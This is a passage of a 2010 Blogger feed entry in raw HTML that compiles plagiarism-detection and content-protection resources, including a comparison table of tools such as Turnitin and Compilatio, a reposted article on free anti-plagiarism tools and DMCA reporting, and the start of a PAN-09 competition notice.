rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-2306469067511059208</id><published>2010-01-09T19:42:00.001-08:00</published><updated>2010-01-09T19:42:37.791-08:00</updated><title type='text'>Plagiarism Detection</title><content type='html'>&lt;span style="font-family: arial, helvetica, sans-serif"&gt;&lt;h2 class="title" style="text-align: center;margin-right: 0px; margin-left: 0px; color: rgb(51, 51, 153); font-weight: normal"&gt;&lt;font size="7"&gt;Plagiarism Detection Tools&lt;/font&gt;&lt;font size="5"&gt;&amp;nbsp;&lt;/font&gt;&lt;/h2&gt;&lt;div&gt;&lt;font size="7"&gt;1.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="5"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="5"&gt;http://pulsar.ehu.es/en/resources/elearning-tools/anti-plagiarism&lt;/font&gt;&lt;/div&gt;&lt;span style=" color: rgb(77, 77, 77)"&gt;&lt;h1 class="title" style="margin-right: 0px; margin-left: 0px; color: rgb(129, 0, 0); font-weight: normal"&gt;&lt;font size="5"&gt;Tools to detect plagiarism and to analyse the use of references&lt;/font&gt;&lt;/h1&gt;&lt;div class="node node-type-page" id="node-804"&gt;&lt;div class="node-inner"&gt;&lt;div class="content" style="color: rgb(51, 51, 51)"&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Digital information is everywhere and is easy to be reproduced. Students write their assignments differently and there is also a big concern about plagiarism.The following tools offer features that will help teachers to detect when a text has been copied but also to analyze the management and development of resources made by students.&lt;/font&gt;&lt;/p&gt;&lt;div class="view view-herramientas-controlplagio-en"&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;&lt;table style="font-size: inherit; width: 800px" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th class="view-cell-header view-field-node-title" style="text-align: left"&gt;Name&lt;/th&gt;&lt;th class="view-cell-header view-field-node-body" style="text-align: left"&gt;Description&lt;/th&gt;&lt;th class="view-cell-header view-field-node-data-field-precio-field-precio-value" style="text-align: left"&gt;Cost&lt;/th&gt;&lt;th class="view-cell-header view-field-node-data-field-cdigo-field-cdigo-value" style="text-align: left"&gt;Licence&lt;/th&gt;&lt;th class="view-cell-header view-field-node-data-field-aplicacion-field-aplicacion-value" style="text-align: left"&gt;Mode&lt;/th&gt;&lt;th class="view-cell-header view-field-node-comment-statistics-comment-count" style="text-align: left"&gt;Comments&lt;/th&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;tbody&gt;&lt;tr class="odd" style="background-color: rgb(221, 221, 221); background-image: initial"&gt;&lt;td class="view-field view-field-node-title"&gt;&lt;a href="http://docs.google.com/en/resources/tools/plagiarism-detection/antiplagio-educared" style="color: rgb(129, 0, 0); text-decoration: none"&gt;Antiplagio Educared&lt;/a&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-body"&gt;Antiplagio Educared is free, but must be downloaded to your PC and works only with Windows. Antiplagio analyzes the content of services such as El Rincón del Vago or Enciclonet. Teachers can upload their notes and other students work to feed the database.&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-precio-field-precio-value"&gt;&lt;div class="field-item"&gt;Free&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-cdigo-field-cdigo-value"&gt;&lt;div class="field-item"&gt;Proprietary code&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-aplicacion-field-aplicacion-value"&gt;&lt;div class="field-item"&gt;Desktop application&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-comment-statistics-comment-count"&gt;0&lt;/td&gt;&lt;/tr&gt;&lt;tr class="even" style="background-color: rgb(238, 238, 238)"&gt;&lt;td class="view-field view-field-node-title"&gt;&lt;a href="http://docs.google.com/en/resources/tools/plagiarism-detection/approbo" style="color: rgb(129, 0, 0); text-decoration: none"&gt;Approbo&lt;/a&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-body"&gt;Approbo is an online platform that automates the processes for identifying non-original fragments in a text. It supports a wide range of file formats. The document search is done with Google, checking the millions of websites that the search engine indexes.&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-precio-field-precio-value"&gt;&lt;div class="field-item"&gt;Free&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-cdigo-field-cdigo-value"&gt;&lt;div class="field-item"&gt;Proprietary code&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-aplicacion-field-aplicacion-value"&gt;&lt;div class="field-item"&gt;Web application&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-comment-statistics-comment-count"&gt;0&lt;/td&gt;&lt;/tr&gt;&lt;tr class="odd" style="background-color: rgb(221, 221, 221); background-image: initial"&gt;&lt;td class="view-field view-field-node-title"&gt;&lt;a href="http://docs.google.com/en/resources/tools/plagiarism-detection/compilatio" style="color: rgb(129, 0, 0); text-decoration: none"&gt;Compilatio&lt;/a&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-body"&gt;Compilatio is a web application supported by most browsers, although it can can not be integrated into Learning Management Systems. Its price, depending on the number of students of the institution, ranges from 800 to 1,000 euros.&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-precio-field-precio-value"&gt;&lt;div class="field-item"&gt;Commercial&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-cdigo-field-cdigo-value"&gt;&lt;div class="field-item"&gt;Proprietary code&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-aplicacion-field-aplicacion-value"&gt;&lt;div class="field-item"&gt;Web application&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-comment-statistics-comment-count"&gt;0&lt;/td&gt;&lt;/tr&gt;&lt;tr class="even" style="background-color: rgb(238, 238, 238)"&gt;&lt;td class="view-field view-field-node-title"&gt;&lt;a href="http://docs.google.com/en/resources/tools/plagiarism-detection/turnitin" style="color: rgb(129, 0, 0); text-decoration: none"&gt;Turnitin&lt;/a&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-body"&gt;Turnitin can be used from any browser and it can be into the learning platforms like Blackboard, WebCT, Angel or Moodle. Its price ranges from 5,000 € per year (schools) and 9000 € (universities). Tracks from over 12,000 million webs, 80 million students jobs, 10,000 newspapers, magazines and scientific journals and thousands of books, including classics. Founded in 1995 in the United States, the company landed in Europe in 2002 via the United Kingdom, where "it is used by 97% of educational institutions"&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-precio-field-precio-value"&gt;&lt;div class="field-item"&gt;Commercial&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-cdigo-field-cdigo-value"&gt;&lt;div class="field-item"&gt;Proprietary code&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-data-field-aplicacion-field-aplicacion-value"&gt;&lt;div class="field-item"&gt;Web application&lt;/div&gt;&lt;/td&gt;&lt;td class="view-field view-field-node-comment-statistics-comment-count"&gt;0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;approbo&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;&lt;span style="font-family: Arial, sans-serif"&gt;Approbo comparator is completely free online document that compares the desired file matching those found on the Internet, further indicating the degree of similarity between the original and to compare the different results.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;http://approbo.citilab.eu/&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;usename :zhangalex&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;password : *********&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="view-content view-content-herramientas-controlplagio-en"&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;div&gt;&lt;font size="5"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;/span&gt;&lt;h1&gt;&lt;span style="font-weight: normal;"&gt;&lt;font size="7"&gt;2.&lt;/font&gt;&lt;/span&gt;&lt;/h1&gt;&lt;div&gt;&lt;font size="7"&gt;&lt;h2 style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="6"&gt;&lt;a href="http://www.blogherald.com/2007/06/25/the-20-best-free-anti-plagiarism-tools/" rel="bookmark" title="The 20 Best Free Anti-Plagiarism Tools" style="color: rgb(17, 17, 17); text-decoration: none !important"&gt;The 20 Best Free Anti-Plagiarism Tools&lt;/a&gt;&lt;/font&gt;&lt;/h2&gt;&lt;div class="meta" style="float: left; background-image: initial; background-color: rgb(245, 245, 245); color: rgb(85, 85, 85)"&gt;&lt;div class="left" style="float: left"&gt;&lt;p style="margin-right: 0px !important; margin-left: 0px !important"&gt;&lt;font size="2"&gt;Filed as&amp;nbsp;&lt;a href="http://www.blogherald.com/category/features/" title="View all posts in Features" rel="category tag" style="color: rgb(17, 17, 17); text-decoration: none"&gt;&lt;b&gt;Features&lt;/b&gt;&lt;/a&gt;,&amp;nbsp;&lt;a href="http://www.blogherald.com/category/general/" title="View all posts in General" rel="category tag" style="color: rgb(17, 17, 17); text-decoration: none"&gt;&lt;b&gt;General&lt;/b&gt;&lt;/a&gt;,&amp;nbsp;&lt;a href="http://www.blogherald.com/category/guides/" title="View all posts in Guides" rel="category tag" style="color: rgb(17, 17, 17); text-decoration: none"&gt;&lt;b&gt;Guides&lt;/b&gt;&lt;/a&gt;&amp;nbsp;on June 25, 2007 9:00 am&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="right" style="float: right"&gt;&lt;p style="margin-right: 0px !important; margin-left: 0px !important"&gt;&lt;font size="2"&gt;by&amp;nbsp;&lt;a href="http://www.blogherald.com/author/plagiarismtoday/" title="Posts by Jonathan Bailey" style="color: rgb(17, 17, 17); text-decoration: none"&gt;&lt;b&gt;Jonathan Bailey&lt;/b&gt;&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="entry"&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Technology has been very kind to the plagiarist.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Where once the plagiarist would have to re-type the paper or repaint the portrait, content theft now is just a mouse click or a keyboard shortcut away. Worse yet, whole technologies have been built around content theft. For example, RSS scraping applications can steal the content from thousands of feeds in a single hour, creating countless spam blogs.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;However, technology is a double-edged sword. At the same time it has made content theft easier than ever, it has also empowered content producers with new, more powerful means of monitoring and enforcing their content rights.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;No longer does a copyright holder have to wait to accidentally discover plagiarism or hope that a bystander will alert them, no longer is enforcement a long, arduous process. Every Webmaster, no matter how small, has the tools they need to track and stop theft of their content.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;It is simply a matter of knowing where to look.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Preventing content theft is something of a holy grail. It is the perfect solution, but also the least practical. The tools needed to prevent copying of work generally do more to annoy legitimate users than to stop plagiarists. That being said, there are a few prevention tools worth taking a look at.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.pictureshark.com/index.htm" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Pictureshark&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– A hard to remove transluscent watermark is by far the most effective method of preventing image theft. Pictureshark is a fast, free and powerful batch image watermarking tool that can process hundreds of images with a variety of effects.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.devpapers.com/article/242" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Devpapers .htaccess Hotlink Protection&lt;/u&gt;&lt;/a&gt;- For Webmasters that pay their bandwidth bills, image hotlinking is a double problem. Not only is it a form of content theft, but also of bandwidth theft as every load of the plagiarist’s page requires the image be pulled from the original server.&lt;a href="http://coldlink.com/htm/tool.htm" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Webmasters should test&lt;/u&gt;&lt;/a&gt;&amp;nbsp;to see if their images can be hotlinkied and, if they can, consider editing the .htaccess file to prevent hotlinking or use a&amp;nbsp;&lt;a href="http://www.safalra.com/programming/php/prevent-hotlinking/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;PHP script to achieve that end&lt;/u&gt;&lt;/a&gt;.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.bad-behavior.ioerror.us/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Bad Behavior&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– A PHP script available for most CMS platforms, Bad Behavior is an anti-spam tool that can also be used to stop some forms of automated content theft. Though not necessarily useful against RSS scraping, any “evil” bots that visit your sites, no matter for what reason, are likely to be caught in Bad Behavior’s net. This can stop malicious spidering and automated saving of content.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.watermark.ws/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Watermark.Ws&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Don’t have time to download software to watermark your images? Use Watermark.ws and add your overlays on the Web. Watermark.Ws lets you add text or an image over your copyrighted work and set the alpha level, enabling centrally-located and more powerful watermarks.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;b&gt;Detection&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Detecting content theft, though not as desireable as prevention, is a much easier method. There are many tools that can easily detect content theft and, from there, one can easily follow up on it. Best of all, this has no impact on the legitimate readers of your site, just the those that abuse your content.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.google.com/alerts" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Google Alerts&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Rather than searching for your own content by hand from time to time, let Google Alerts do it for you. Punch in a few unique phrases from your work, set Google Alerts to inform you when those phrases appear on the Web and relax. Best of all, it can be combined with other tools below for an even more powerful experience.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.copyscape.com/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Copyscape&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Based upon the Google API, Copyscape enables you to search for plagiarism of an entire page. It looks for content theft that traditional Google searches and Google Alerts may miss including sites that take only a part of your work. The free version is very limited and will only display the top ten results. Thus, it may not be practical for sites that allow some reuse of their content.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.maxpower.ca/wordpress-plugin-digital-fingerprint-detecting-content-theft/2006/09/25/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Digital Fingerprint Plugin&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Maxpower’s Digital Finger Plugin for Wordpress appends a unique phrase or key to the end of every post in your RSS feed. It then offers tools to help you search for that fingerprint on the Web. The plugin also works well with Google Alerts.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.technorati.com/watchlist/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Technorati Watchlists&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Much like Google Alerts, Techorati watchlists can be used to inform you instantly when unique keywords or a fingerprint appears on another blog. A very powerful tool for blogs.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://images.google.com" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Google Image Search&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Detecting image plagiarism is very difficult, however, if you give your images unique file names you can search for that name in Google image search and locate duplicates of it that way. Most plagiarists do not bother to change image names when putting it up on their site, making it very easy to spot such infringements.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;b&gt;Cessation&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Once plagiarism has been detected, it has to be stopped before the detection is of any use. Fortunately, there are several tools to help.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://wordpress.org/extend/plugins/copyfeed/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Copyfeed&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– A veritable swiss-army knife of content protection, Copyfeed not only adds a digital fingerprint to detect infringement, but also can be used to embed IP address of RSS scrapers in the posts andt hen, in turn, ban them from accessing the feed. For Wordpress users, this plugin is practically a must-have.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://pages.ebay.com/help/tp/programs-vero-ov.html" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Ebay VeRO Program&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– If your content regularly appears on Ebay, it might be worth your time to sign up for Ebay’s Verified Rights Owner Program to enable you to easily close auctions that infringe upon your rights. VeRO is easily the most powerful program of its kind on the Web and worthwhile for any Webmaster that finds a great deal of their work on Ebay.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;b&gt;Reporting&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Sometimes, when stopping plagiarism or content theft, you can not take action yourself and, instead, have to report it to someone else. In those cases, there are many different tools and resources to help.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.domaintools.com" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Domain Tools&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Need to quickly find out who the host is of a dot com? Domain Tools can help. Just type in the domain and you’ll get all of the information you need about the site. Under “Server Data” you can easily locate all of the information about the server, including who operates it.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.mcanerin.com/EN/articles/copyright-03.asp" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;DMCA Templates&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– If you’re going to report a site to a U.S.-based host, you are going to need to file a DMCA notice. To do that, you’ll need a DMCA template. Fortunately, Ian McAnerin has posted templates of DMCA notices on his site, including one for each of the major search engines and a generic ISP one.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.plagiarismtoday.com/dmca-contact-information/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Plagiarism Today’s DMCA Contact Information&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Once you know who the host is, the question becomes who to contact there. On my site, I’ve compiled a list of links to over 100 of the largest hosts, advertising networks and search engines. If you notice infringing content on a site hosted by one of these companies, just follow the link to report it. Odds are the company you need is somewhere on the list.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.copyright.gov/onlinesp/list/index.html" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;U.S. Copyright Office DMCA List&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Similar to the list on my site, the United States Copyright Office maintains a list of DMCA contact information for various hosts. Though their list has many more companies, many major hosts have not registered and others have let their information fall out of date. However, it remains an excellent backup. This site requires Acrobat Reader or another PDF viewer to use.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/578" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Signature Extension&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Instead of copying and pasting the template in every time it is needed, it is much easier to use the Signature Firefox extension and drop it in. Works great with shorter blocks of text and any template you might have use for. Functions well with Webmail systems as well as online reporting systems such as what is found at LiveJournal.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;b&gt;Non-Repudiation&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Finally, in the event of a dispute regarding the ownership of the work, it may be important to have some evidence that the work is truly yours. With that in mind, there are some great services to help you verify the creation of your work.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.numly.com/numly/default.asp" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Numly&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Numly’s ESN system enables users to register their content, which is then fingerprinted and timestamped, and receive a special number that can be used to retrieve all of the pertinent information on it. Free accounts offer three ESNs per month. A Wordpress plugin is available.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.registeredcommons.org/" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Registered Commons&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– From the Creative Commons team comes Registered Commons. Like Numly, RC lets you register your work, receive a certificate and an identification number and gives you a timestamp plus a fingerprint of the work. Both Numly and RC allow you to embed Creative Commons Licenses into your work. RC is completely free to use.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.archive.org" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Archive.org&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– The Web Archive, which famously indexes and preserves old versions of Web pages, makes it possible to backtrack and see roughly how long a page was up. Though not as exact as an ESN or a Registered Commons registration, it can be useful in cases where the work was not registered and only a rough answer is needed.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;a href="http://www.furl.net" style="color: rgb(0, 102, 153)"&gt;&lt;u&gt;Furl&lt;/u&gt;&lt;/a&gt;&amp;nbsp;– Though not a non-repudiation service, Furl can be useful in preserving evidence against a plagiarist. A social bookmarking site, Furl also saves a cached copy of every page saved to it, this can be very useful if the plagiarist changes the page or removes the content. It is also valuable for your own records to have a file of what you did and why, just in case the issue comes up again later.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;b&gt;Conclusions&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;While technology has been kind to the plagiarist, it has been at least as kind to the author. For the first time in history and individual, without any great expense, can reach a worldwide audience and get his message out in numbers never before dreamed of.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;Yes, with it comes a risk of plagiarism and content theft, but solutions are being created to mitigate that risk and streamline the process of protecting content and securing author’s rights.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;It is and will continue to be a bumpy road, but if one knows how to navigate it, the ride can be more than tolerable.&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;3.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;/p&gt;&lt;h3 style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="3"&gt;What is&amp;nbsp;&lt;span class="cg_c" style="color: rgb(118, 173, 74)"&gt;&lt;b&gt;Copy&lt;/b&gt;&lt;/span&gt;&lt;span class="cg_g" style="color: rgb(201, 200, 54)"&gt;&lt;b&gt;Gator&lt;/b&gt;&lt;/span&gt;&amp;nbsp;?&lt;/font&gt;&lt;/h3&gt;&lt;p&gt;&lt;font size="2"&gt;This is a free service designed to monitor your RSS feed and find where your content has been republished in the blogosphere. We automatically notify you when a new post of yours is copied to another feed, we also build an overview page you can view to see how/when/where your content is being duplicated, quoted or plagiarized. This is an entirely free service and is powered by the feed spidering power of ://URLFAN.&amp;nbsp;&lt;a href="http://docs.google.com/?loader=about" style="color: rgb(76, 115, 76); text-decoration: none"&gt;&lt;b&gt;&lt;b&gt;Learn more on how the CopyGator does what he does&lt;/b&gt;.&lt;/b&gt;&lt;/a&gt;&amp;nbsp;or view an example of our content&amp;nbsp;&lt;a href="http://www.copygator.com/website/gizmodo_com/160560.html" style="color: rgb(76, 115, 76); text-decoration: none"&gt;&lt;b&gt;&lt;b&gt;overview page for Gizmodo.com&lt;/b&gt;&lt;/b&gt;&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;/p&gt;&lt;div style="text-align: left"&gt;&amp;nbsp;&lt;img class="big" id="image_2038202" alt="explain.png" src="http://img2.pict.com/46/2f/14/2038202/0/explain.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div style="text-align: left"&gt;&lt;br&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;http://www.copygator.com/&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 5px"&gt;4.&amp;nbsp;&lt;span style="font-family: Arial, sans-serif"&gt;Related competitions&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 class="title" style="margin-right: 0px; margin-left: 0px; color: rgb(51, 51, 153); font-weight: normal"&gt;&lt;font size="2"&gt;1st International Competition on Plagiarism Detection &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;http://www.webis.de/pan-09/competition.php&lt;/font&gt;&lt;/h2&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The detection of plagiarism by hand is a laborious retrieval task---a task which can be aided or automatized. The PAN competition on plagiarism detection shall foster the development of new solutions in this respect.&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 20px; list-style-type: square"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#tasks" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Competition Tasks&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#award" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Award&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#results" style="margin-right: 0px; margin-left: 